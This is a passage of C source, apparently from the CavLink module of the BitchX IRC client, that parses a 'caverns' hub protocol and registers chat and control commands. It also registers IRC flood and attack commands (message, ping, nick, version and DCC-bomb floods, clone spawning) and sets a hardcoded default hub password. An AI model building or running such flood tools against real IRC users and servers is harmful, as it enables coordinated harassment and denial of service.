837 		dcc_printf(Client->is_read, "msg %s AWAY %s\n", nick, get_server_away(from_server));
838 	}
839 }
840 
handle_msg(SocketList * Client,char ** ArgList)841 int handle_msg (SocketList *Client, char **ArgList)
842 {
843 char *to, *nick, *host, *str;
844 	to = *(ArgList+1);
845 	nick = *(ArgList+2);
846 	host = *(ArgList+3);
847 	str = *(ArgList+4);
848 	PasteArgs(ArgList, 4);
849 	str = handle_ctcp(Client, nick, host, NULL, str);
850 	if (!str || !*str)
851 		return 0;
852 	cav_say("%s",cparse("%g[%W$0%g(%n$1%g)]%n $2-","%s %s %s",nick,host,str));
853 	cav_away(Client, nick);
854 	addtabkey(nick, "cmsg", 0);
855 	return 0;
856 }
857 
858 
cavlink_handler(int s)859 static void cavlink_handler (int s)
860 {
861 int output = 1;
862 char *p = NULL;
863 char *TrueArgs[MAXCAVPARA+1] = { NULL };
864 int count = 0;
865 char **ArgList;
866 char *comm;
867 char tmpstr[BIG_BUFFER_SIZE+1];
868 char *tmp = tmpstr;
869 
870 switch(dgets(tmpstr, s, 0, BIG_BUFFER_SIZE, NULL))
871 {
872 	case 0:
873 		return;
874 	case -1:
875 	{
876 		put_it("error on socket");
877 		close_socketread(s);
878 		cav_socket = -1;
879 		cavhub = NULL;
880 		return;
881 	}
882 	default:
883 	{
884 	if (!*tmp)
885 	{
886 		cavhub = NULL;
887 		return;
888 	}
889 	chop(tmp, 1);
890 	if (my_strnicmp(tmp, "caverns:", 8))
891 	{
892 		if (wild_match("password:", tmp))
893 		{
894 			dcc_printf(s, "%s\n", get_dllstring_var("cavlink_pass"));
895 			output = 0;
896 		}
897 		else if (wild_match("nick:", tmp))
898 		{
899 			dcc_printf(s, "%s\n", cav_nickname);
900 			output = 0;
901 		}
902 		else if (wild_match("that nick is not unique!",tmp))
903 		{
904 			malloc_sprintf(&cav_nickname, "_%9.9s", nickname);
905 			dcc_printf(s, "_%9.9s\n", cav_nickname);
906 		}
907 		else if (wild_match("welcome to caverns.", tmp))
908 		{
909 			dcc_printf(s, "motd\n");
910 			dcc_printf(s, "luser\n");
911 			dcc_printf(s, "status\n");
912 		}
913 		if (output)
914 			cav_say(tmp);
915 		return;
916 	}
917 	if (wild_match("% % restored your attack ability",tmp))
918 	{
919 		p=next_arg(tmp,&tmp);
920 		p=next_arg(tmp,&tmp);
921 		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s +a %s",p,cav_nickname));
922 		return;
923 	}
924 	else if (wild_match("% % removed your attack ability",tmp))
925 	{
926 		p=next_arg(tmp,&tmp);
927 		p=next_arg(tmp,&tmp);
928 		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s -a %s",p,cav_nickname));
929 		return;
930 	}
931 	else if (wild_match("% % can now attack",tmp))
932 	{
933 		p=next_arg(tmp,&tmp); p=next_arg(tmp,&tmp);
934 		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s +a %s",p, get_dllstring_var("cavlink_host")));
935 		return;
936 	}
937 	else if (wild_match("% % can no longer attack",tmp))
938 	{
939 		p=next_arg(tmp,&tmp); p=next_arg(tmp,&tmp);
940 		cav_say("%s",cparse("%W$0%g set mode %W[%G $1 $2 %W]%n", "%s -a %s",p, get_dllstring_var("cavlink_host")));
941 		return;
942 	}
943 	else if (wild_match("% % % wall *",tmp))
944 	{
945 		char *nick, *host;
946 		p=next_arg(tmp,&tmp);
947 		nick=next_arg(tmp,&tmp);
948 		host=next_arg(tmp,&tmp);
949 		p=next_arg(tmp,&tmp);
950 		cav_say("%s",cparse("%g!%WWALL%g! [%n$0%g(%W$1%g)]%n $2-","%s %s %s",nick,host,tmp));
951 		return;
952 	}
953 	else if (wild_match("% you are an oper", tmp))
954 	{
955 		cav_say("%s", cparse("You are now an operator", "%s", cav_nickname));
956 		return;
957 	}
958 	ArgList = TrueArgs;
959 	count = BreakArgs(tmp, NULL, ArgList, 1);
960         if (!(comm = (*++ArgList)) || !*ArgList)
961                         return;         /* Empty line from server - ByeBye */
962 
963 	if (!strcmp(comm, "motd"))
964 	{
965 		PasteArgs(ArgList, 1);
966 		p = *(ArgList+1);
967 		output = cav_say((p?p:empty_string));
968 	}
969 	else if (((!strcmp(comm,"begin") || !strcmp(comm, "end")) && !strcmp("motd", *(ArgList+1))))
970 		output = 0;
971 	else if (!strcmp(comm, "list"))
972 	{
973 		char *nick, *host;
974 		nick = *(ArgList+1);
975 		host = *(ArgList+2);
976 		output = cav_say("%s", cparse("$0: $1", "%s %s",nick,host));
977 	}
978 	else if (!strcmp(comm, "llbot"))
979 		output = handle_llbot(cavhub, ArgList);
980 	else if (!strcmp(comm, "status"))
981 		output = cav_say("%s",cparse("llbot %gwatching %W$0","%s", *(ArgList+2)));
982 	else if (!strcmp(comm, "part"))
983 	{
984 		char *chan, *nick, *host;
985 		chan = *(ArgList+1);
986 		nick = *(ArgList+2);
987 		host = *(ArgList+3);
988 		output = cav_say("%s",cparse("%W$1%n!$2%g left%n $0%g","%s %s %s", chan, nick, host));
989 	}
990 	else if (!strcmp(comm, "who"))
991 		output = handle_who(cavhub, ArgList, 0);
992 	else if (!strcmp(comm, "rwho"))
993 		output = handle_who(cavhub, ArgList, 1);
994 	else if (!strcmp(comm, "pong"))
995 	{
996 		output = cav_say("%s", cparse("ping time from server $0secs", "%d", time(NULL)-cavping));
997 		cavping = 0;
998 	}
999 	else if (!strcmp(comm, "luser"))
1000 	{
1001 		int users = 0, opers = 0, llbots = 0, splits = 0;
1002 		users = my_atol(*(ArgList+1));
1003 		opers = my_atol(*(ArgList+3));
1004 		llbots = my_atol(*(ArgList+5));
1005 		splits = my_atol(*(ArgList+7));
1006 		cav_say("%s",cparse("%W$0%g clients%g (%W$1%n user + %W$2%n oper%g)", "%d %d %d", users, users-opers, opers));
1007 		output = cav_say("%s",cparse("%W$0%g llbots %nconnected%g (%W$1%n servers split%g)", "%d %d", llbots, splits));
1008 	}
1009 	else if (!strcmp(comm, "say"))
1010 		output = handle_say(cavhub, ArgList);
1011 	else if (!strcmp(comm, "msg"))
1012 		output = handle_msg(cavhub, ArgList);
1013 	else if (!strcmp(comm, "join"))
1014 	{
1015 		char *chan, *nick, *userhost;
1016 		chan=*(ArgList+1);
1017 		nick=*(ArgList+2);
1018 		userhost=*(ArgList+3);
1019 		output = cav_say("%s",cparse("%W$0%n!$1%g has joined%n $2","%s %s %s",nick, userhost, chan));
1020 		if (!my_stricmp(cav_nickname,nick))
1021 			malloc_strcpy(&cav_channel, chan);
1022 	}
1023 	else if (!strcmp(comm, "disconnected"))
1024 	{
1025 		char *nick, *host, *reason;
1026 		nick=*(ArgList+1);
1027 		host=*(ArgList+2);
1028 		reason = *(ArgList+3);
1029 		PasteArgs(ArgList, 3);
1030 		output = cav_say("%s",cparse("%W$0%n!$1%g disconnected %nfrom caverns","%s %s %s",nick,host,!reason ? "connection lost":reason));
1031 		if (!my_stricmp(nick, cav_nickname))
1032 			cavhub = NULL;
1033 	}
1034 	else if (!strcmp(comm, "version"))
1035 	{
1036 		PasteArgs(ArgList,0);
1037 		p = *(ArgList+0);
1038 	}
1039 	else if (!strcmp(comm, "stats"))
1040 	{
1041 		PasteArgs(ArgList,0);
1042 		p = *(ArgList+0);
1043 	}
1044 	else if (!strcmp(comm, "uptime"))
1045 	{
1046 		PasteArgs(ArgList,1);
1047 		output = cav_say("%s", cparse("Cavhub Uptime %R$0-", "%s", *(ArgList+1)));
1048 	}
1049 	else if (!strcmp(comm, "kline"))
1050 	{
1051 		PasteArgs(ArgList,0);
1052 		p = *(ArgList+0);
1053 	}
1054 	else if (!strcmp(comm, "error:"))
1055 	{
1056 		p=*(ArgList+1);
1057 		PasteArgs(ArgList, 1);
1058 		output = cav_say("%s", cparse("Error: $0-", "%s", p));
1059 	}
1060 	else if (!strcmp(comm, "rwall"))
1061 	{
1062 		char *nick, *host, *str;
1063 		nick = *(ArgList+1);
1064 		host = *(ArgList+2);
1065 		PasteArgs(ArgList, 3);
1066 		str = *(ArgList+3);
1067 		output = cav_say("%s", cparse("%G!%WWALL%G! [%n$0%g(%W$1%g)]%n $2-", "%s %s %s", nick, host, str));
1068 	}
1069 	else if (!strcmp(comm, "nick"))
1070 	{
1071 		char *nick, *newnick;
1072 		nick = *(ArgList+2);
1073 		newnick = *(ArgList+4);
1074 		if (!my_stricmp(nick, cav_nickname))
1075 			malloc_strcpy(&cav_nickname, newnick);
1076 		output = cav_say("%s", cparse("%W$0%n is now known as %W$1", "%s %s", nick, newnick));
1077 	}
1078 	else if (!strcmp(comm, "split"))
1079 		output = handle_split(cavhub, ArgList);
1080 	else if (!strcmp(comm, "attack"))
1081 	{
1082 		if ((output = handle_attack(cavhub, ArgList)))
1083 		{
1084 			PasteArgs(ArgList, 0);
1085 			p = *(ArgList+0);
1086 		}
1087 	}
1088 	else
1089 	{
1090 		PasteArgs(ArgList, 0);
1091 		p = *ArgList;
1092 	}
1093 	if (output)
1094 		cav_say(p?p:tmp);
1095 	return;
1096 	}
1097 }
1098 }
1099 
cavlink_connect(char * host,u_short port)1100 SocketList *cavlink_connect(char *host, u_short port)
1101 {
1102 	struct	in_addr	address;
1103 	struct	hostent	*hp;
1104 	int	lastlog_level;
1105 
1106 	lastlog_level = set_lastlog_msg_level(LOG_DCC);
1107 	if ((address.s_addr = inet_addr(host)) == -1)
1108 	{
1109 		if (!my_stricmp(host, "255.255.255.0") || !(hp = gethostbyname(host)))
1110 		{
1111 			put_it("%s", cparse("$G %RDCC%n Unknown host: $0-", "%s", host));
1112 			set_lastlog_msg_level(lastlog_level);
1113 			return NULL;
1114 		}
1115 		bcopy(hp->h_addr, (char *)&address, sizeof(address));
1116 	}
1117 	cav_socket = connect_by_number(host, &port, SERVICE_CLIENT, PROTOCOL_TCP, 1);
1118 	if (cav_socket < 0)
1119 		return NULL;
1120 	add_socketread(cav_socket, port, 0, host, cavlink_handler, NULL);
1121 	put_it("%s", cparse(fget_string_var(FORMAT_DCC_CONNECT_FSET),
1122 		"%s %s %s %s %s %d", update_clock(GET_TIME), "CAV", host,
1123 		"u@h", ltoa(port), port));
1124 	(void) set_lastlog_msg_level(lastlog_level);
1125 	cavhub = get_socket(cav_socket);
1126 	return cavhub;
1127 }
1128 
cavlink(CtcpEntryDll * dll,char * from,char * to,char * args)1129 static char *cavlink (CtcpEntryDll *dll, char *from, char *to, char *args)
1130 {
1131 char *address, *password, *ports;
1132 	int port;
1133 
1134 	if (cavhub)
1135 	{
1136 		put_it("%s", cparse("$G Already cavlinked %R$0%K:%R$1", "%s:%d", get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port")));
1137 		return NULL;
1138 	}
1139 	address = next_arg(args, &args);
1140 	if ((ports = next_arg(args, &args)))
1141 	{
1142 		port = atoi(ports);
1143 		if (port < 100)
1144 			return NULL;
1145 		cav_port = port;
1146 	} else
1147 		port = cav_port;
1148 	if (!(password = next_arg(args, &args)))
1149 		password = get_dllstring_var("cavlink_pass");
1150 	set_dllstring_var("cavlink_host", address);
1151 	if (!get_dllint_var("cavlink"))
1152 		return NULL;
1153 
1154 	cavhub = cavlink_connect(address, (unsigned short)port);
1155 
1156 	set_dllstring_var("cavlink_pass", password);
1157 	return NULL;
1158 }
1159 
toggle_cavwin(Window * win,char * unused,int onoff)1160 static void toggle_cavwin (Window *win, char *unused, int onoff)
1161 {
1162 Window *tmp;
1163 	if (onoff)
1164 	{
1165 		if ((tmp = new_window(win->screen)))
1166 		{
1167 			resize_window(2, tmp, 6);
1168 			tmp->name = m_strdup("CAVLINK");
1169 			set_wset_string_var(tmp->wset, STATUS_FORMAT1_WSET, "%>[CavLink] ");
1170 			tmp->double_status = 0;
1171 			tmp->absolute_size = 1;
1172 			build_status(tmp, NULL, 0);
1173 			update_all_windows();
1174 			set_input_prompt(win, get_string_var(INPUT_PROMPT_VAR), 0);
1175 			set_screens_current_window(tmp->screen, tmp);
1176 			cursor_to_input();
1177 
1178 		}
1179 	}
1180 	else
1181 	{
1182 		if ((tmp = get_window_by_name("CAVLINK")))
1183 		{
1184 			delete_window(tmp);
1185 			update_all_windows();
1186 			set_input_prompt(win, get_string_var(INPUT_PROMPT_VAR), 0);
1187 			cursor_to_input();
1188 
1189 		}
1190 	}
1191 }
1192 
1193 
BUILT_IN_DLL(cavhelp)1194 BUILT_IN_DLL(cavhelp)
1195 {
1196 	put_it("%s", cparse("%K���� %YCavLink%n module ver %W$0%n %Kby %Ppanasync %K�������������������������ķ", "%s", cav_version));
1197 	put_it(      cparse("%K� [%Wcavlink cavlink_prompt cavlink_window cavlink_pass%K]             � ", NULL, NULL));
1198 	put_it(      cparse("%K� [%Wcavlink_attack cavlink_attack_times%K]                            � ", NULL, NULL));
1199 	put_it(      cparse("%K� [%Rcavlink_floodspawn cavlink_floodping%K]                           � ", NULL, NULL));
1200 	put_it(      cparse("%K� [%Rcavlink_floodquote cavlink_floodmsg%K]                            � ", NULL, NULL));
1201 	put_it(      cparse("%K� [%Rcavlink_floodnick cavlink_floodversion%K]                         � ", NULL, NULL));
1202 	put_it(      cparse("%K� [%Rcavlink_flooddccbomb cavlink_floodcycle%K]                        � ", NULL, NULL));
1203 
1204 	put_it(      cparse("%K� [%Wcsay cgeneral clsay cwho cmsg cjoin cpart cping cver cversion%K]  � ", NULL, NULL));
1205 	put_it(      cparse("%K� [%Wcwall cluser cunlink clink cattack ckline cboot cmode csplit%K]   � ", NULL, NULL));
1206 	put_it(      cparse("%K� [%Wcpong cinfo cwhois cme cmotd cquit cconnect cdie ckill chelp%K]   � ", NULL, NULL));
1207 	put_it(      cparse("%K� [%Wcgrab crwho crwall chubs cstats cuptime csave%K]                  � ", NULL, NULL));
1208 
1209 	put_it(      cparse("%K� [%Rcbomb cvfld cpfld cmfld cqfld ccfld cnfld cefld cspawn%K]         � ", NULL, NULL));
1210 
1211 	put_it(      cparse("%K� [%Wcavlink clink%K]                                                  � ", NULL, NULL));
1212 	put_it(      cparse("%K������������������������������������������������������������������Ľ ", NULL, NULL));
1213 
1214 }
1215 
BUILT_IN_DLL(cavsave)1216 BUILT_IN_DLL(cavsave)
1217 {
1218 IrcVariableDll *newv = NULL;
1219 FILE *outf = NULL;
1220 char *expanded = NULL;
1221 char buffer[BIG_BUFFER_SIZE+1];
1222 	if (get_string_var(CTOOLZ_DIR_VAR))
1223 		snprintf(buffer, BIG_BUFFER_SIZE, "%s/CavLink.sav", get_string_var(CTOOLZ_DIR_VAR));
1224 	else
1225 		sprintf(buffer, "~/CavLink.sav");
1226 	expanded = expand_twiddle(buffer);
1227 	if (!expanded || !(outf = fopen(expanded, "w")))
1228 	{
1229 		bitchsay("error opening %s", expanded ? expanded : buffer);
1230 		new_free(&expanded);
1231 		return;
1232 	}
1233 	for (newv = dll_variable; newv; newv = newv->next)
1234 	{
1235 		if (!my_strnicmp(newv->name, "cavlink", 7))
1236 		{
1237 			if (newv->type == STR_TYPE_VAR)
1238 			{
1239 				if (newv->string)
1240 					fprintf(outf, "SET %s %s\n", newv->name, newv->string);
1241 			}
1242 			else
1243 				fprintf(outf, "SET %s %d\n", newv->name, newv->integer);
1244 		}
1245 	}
1246 	cav_say("Finished saving cavlink variables to %s", buffer);
1247 	fclose(outf);
1248 	new_free(&expanded);
1249 	return;
1250 }
1251 
Cavlink_Version(IrcCommandDll ** intp)1252 char *Cavlink_Version(IrcCommandDll **intp)
1253 {
1254 	return cav_version;
1255 }
1256 
Cavlink_Init(IrcCommandDll ** intp,Function_ptr * global_table)1257 int Cavlink_Init(IrcCommandDll **intp, Function_ptr *global_table)
1258 {
1259 char buffer[BIG_BUFFER_SIZE+1];
1260 char *p;
1261 char cav_name[] = "cavlink";
1262 
1263 	initialize_module(cav_name);
1264 
1265 	add_module_proc(COMMAND_PROC, cav_name, "csay", NULL, 0, 0, cavsay, NULL);
1266 	add_module_proc(COMMAND_PROC, cav_name, "clsay", NULL, 0, 0, cavsay, NULL);
1267 	add_module_proc(COMMAND_PROC, cav_name, "cgeneral", "cgeneral", 0, 0, cavgen, NULL);
1268 	add_module_proc(COMMAND_PROC, cav_name, "cwho", "cwho", 0, 0, cavgen, NULL);
1269 	add_module_proc(COMMAND_PROC, cav_name, "cmsg", "cmsg", 0, 0, cavgen, NULL);
1270 	add_module_proc(COMMAND_PROC, cav_name, "chelp", "chelp", 0, 0, cavhelp, NULL);
1271 	add_module_proc(COMMAND_PROC, cav_name, "cconnect", "cconnect", 0, 0, cavgen, NULL);
1272 	add_module_proc(COMMAND_PROC, cav_name, "cdie", "cdie", 0, 0, cavgen, NULL);
1273 	add_module_proc(COMMAND_PROC, cav_name, "cquit", "cquit", 0, 0, cavgen, NULL);
1274 	add_module_proc(COMMAND_PROC, cav_name, "cmotd", "cmotd", 0, 0, cavgen, NULL);
1275 	add_module_proc(COMMAND_PROC, cav_name, "cme", "cme", 0, 0, cavgen, NULL);
1276 	add_module_proc(COMMAND_PROC, cav_name, "crwall", "crwall", 0, 0, cavgen, NULL);
1277 	add_module_proc(COMMAND_PROC, cav_name, "chubs", "chubs", 0, 0, cavgen, NULL);
1278 	add_module_proc(COMMAND_PROC, cav_name, "cwhois", "cwhois", 0, 0, cavgen, NULL);
1279 	add_module_proc(COMMAND_PROC, cav_name, "coper", "coper", 0, 0, cavgen, NULL);
1280 	add_module_proc(COMMAND_PROC, cav_name, "cjoin", "cjoin", 0, 0, cavgen, NULL);
1281 	add_module_proc(COMMAND_PROC, cav_name, "cpong", "cpong", 0, 0, cavgen, NULL);
1282 	add_module_proc(COMMAND_PROC, cav_name, "cpart", "cpart", 0, 0, cavgen, NULL);
1283 	add_module_proc(COMMAND_PROC, cav_name, "cping", "cping", 0, 0, cavgen, NULL);
1284 	add_module_proc(COMMAND_PROC, cav_name, "cver", "cver", 0, 0, cavgen, NULL);
1285 	add_module_proc(COMMAND_PROC, cav_name, "cversion", "cversion", 0, 0, cavgen, NULL);
1286 	add_module_proc(COMMAND_PROC, cav_name, "cwall", "cwall", 0, 0, cavgen, NULL);
1287 	add_module_proc(COMMAND_PROC, cav_name, "cluser", "cluser", 0, 0, cavgen, NULL);
1288 	add_module_proc(COMMAND_PROC, cav_name, "clist", "clist", 0, 0, cavgen, NULL);
1289 	add_module_proc(COMMAND_PROC, cav_name, "csave", NULL, 0, 0, cavsave, NULL);
1290 	add_module_proc(COMMAND_PROC, cav_name, "cunlink", NULL, 0, 0, cunlink, NULL);
1291 	add_module_proc(COMMAND_PROC, cav_name, "clink", NULL, 0, 0, cav_link, NULL);
1292 	add_module_proc(COMMAND_PROC, cav_name, "cclose", NULL, 0, 0, cclose, NULL);
1293 	add_module_proc(COMMAND_PROC, cav_name, "cattack", "cattack", 0, 0, cattack, NULL);
1294 	add_module_proc(COMMAND_PROC, cav_name, "cbomb", "cbomb", 0, 0, cattack, NULL);
1295 	add_module_proc(COMMAND_PROC, cav_name, "cvfld", "cvfld", 0, 0, cattack, NULL);
1296 	add_module_proc(COMMAND_PROC, cav_name, "cpfld", "cpfld", 0, 0, cattack, NULL);
1297 	add_module_proc(COMMAND_PROC, cav_name, "cmfld", "cmfld", 0, 0, cattack, NULL);
1298 	add_module_proc(COMMAND_PROC, cav_name, "cqfld", "cqfld", 0, 0, cattack, NULL);
1299 	add_module_proc(COMMAND_PROC, cav_name, "ccfld", "ccfld", 0, 0, cattack, NULL);
1300 	add_module_proc(COMMAND_PROC, cav_name, "cnfld", "cnfld", 0, 0, cattack, NULL);
1301 	add_module_proc(COMMAND_PROC, cav_name, "cefld", "cefld", 0, 0, cattack, NULL);
1302 	add_module_proc(COMMAND_PROC, cav_name, "cspawn", "cspawn", 0, 0, cattack, NULL);
1303 	add_module_proc(COMMAND_PROC, cav_name, "ckline", "ckline", 0, 0, cavgen, NULL);
1304 	add_module_proc(COMMAND_PROC, cav_name, "cnick", "cnick", 0, 0, cavgen, NULL);
1305 	add_module_proc(COMMAND_PROC, cav_name, "cboot", "cboot", 0, 0, cavgen, NULL);
1306 	add_module_proc(COMMAND_PROC, cav_name, "ckill", "ckill", 0, 0, cavgen, NULL);
1307 	add_module_proc(COMMAND_PROC, cav_name, "csplit", "csplit", 0, 0, cavgen, NULL);
1308 	add_module_proc(COMMAND_PROC, cav_name, "cstats", "cstats", 0, 0, cavgen, NULL);
1309 	add_module_proc(COMMAND_PROC, cav_name, "cuptime", "cuptime", 0, 0, cavgen, NULL);
1310 	add_module_proc(COMMAND_PROC, cav_name, "crwho", "crwho", 0, 0, cavgen, NULL);
1311 	add_module_proc(COMMAND_PROC, cav_name, "cgrab", NULL, 0, 0, cgrab, NULL);
1312 	add_module_proc(COMMAND_PROC, cav_name, "cmode", NULL, 0, 0, cmode, NULL);
1313 
1314 	add_module_proc(CTCP_PROC, cav_name, "cavlink", "CavLinking", -1, CTCP_SPECIAL|CTCP_TELLUSER, cavlink, NULL);
1315 	add_module_proc(CTCP_PROC, cav_name, "clink", "CavLinking", -1, CTCP_SPECIAL|CTCP_TELLUSER, cavlink, NULL);
1316 
1317 	add_module_proc(VAR_PROC, cav_name, "cavlink_pass", "boing", STR_TYPE_VAR, 0, NULL, NULL);
1318 	add_module_proc(VAR_PROC, cav_name, "cavlink_prompt", (char *)convert_output_format("%K[%YCavLink%K]%n", NULL, NULL), STR_TYPE_VAR, 0, NULL, NULL);
1319 	add_module_proc(VAR_PROC, cav_name, "cavlink_window", NULL, BOOL_TYPE_VAR, 0, toggle_cavwin, NULL);
1320 	add_module_proc(VAR_PROC, cav_name, "cavlink", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1321 
1322 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodspawn", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1323 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodquote", NULL, BOOL_TYPE_VAR, 0, NULL, NULL);
1324 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodmsg", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1325 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodnick", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1326 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodversion", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1327 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodping", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1328 	add_module_proc(VAR_PROC, cav_name, "cavlink_flooddccbomb", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1329 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodcycle", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1330 	add_module_proc(VAR_PROC, cav_name, "cavlink_floodecho", NULL, BOOL_TYPE_VAR, 1, NULL, NULL);
1331 
1332 	add_module_proc(VAR_PROC, cav_name, "cavlink_host", NULL, STR_TYPE_VAR, 0, NULL, NULL);
1333 	add_module_proc(VAR_PROC, cav_name, "cavlink_port", NULL, INT_TYPE_VAR, 7979, NULL, NULL);
1334 	add_module_proc(VAR_PROC, cav_name, "cavlink_attack", NULL, BOOL_TYPE_VAR, 0, NULL, NULL);
1335 	add_module_proc(VAR_PROC, cav_name, "cavlink_attack_times", NULL, INT_TYPE_VAR, 6, NULL, NULL);
1336 
1337 	cavhelp(NULL, NULL, NULL, NULL, NULL);
1338 	malloc_strcpy(&cav_nickname,  nickname);
1339 	sprintf(buffer, "$0+cavlink %s by panasync - $2 $3", cav_version);
1340 	fset_string_var(FORMAT_VERSION_FSET, buffer);
1341 	loading_global = 1;
1342 	snprintf(buffer, BIG_BUFFER_SIZE, "%s/CavLink.sav", get_string_var(CTOOLZ_DIR_VAR));
1343 	p  = expand_twiddle(buffer);
1344 	load("LOAD", p, empty_string, NULL);
1345 	new_free(&p);
1346 	loading_global = 0;
1347 	return 0;
1348 }
1349 
1350